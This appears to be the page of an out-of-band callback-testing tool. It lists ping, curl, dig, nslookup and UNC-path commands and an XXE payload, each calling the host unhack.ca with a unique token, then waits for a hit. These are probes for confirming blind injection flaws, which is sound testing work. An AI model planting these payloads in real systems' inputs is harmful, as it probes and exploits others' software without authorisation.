$ ping -c1 -p 003026e19dfabe5b2ecb7c485e8f7700 unhack.ca
$ curl http://unhack.ca/p/3026e19dfabe5b2ecb7c485e8f77
$ dig 3026e19dfabe5b2ecb7c485e8f77 @unhack.ca
$ dig 3026e19dfabe5b2ecb7c485e8f77.ns.unhack.ca
C:\> nslookup 3026e19dfabe5b2ecb7c485e8f77 unhack.ca
C:\> type \\unhack.ca\3026e19dfabe5b2ecb7c485e8f77\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/3026e19dfabe5b2ecb7c485e8f77">]>
<foo>&xxe;</foo>
Waiting for ping...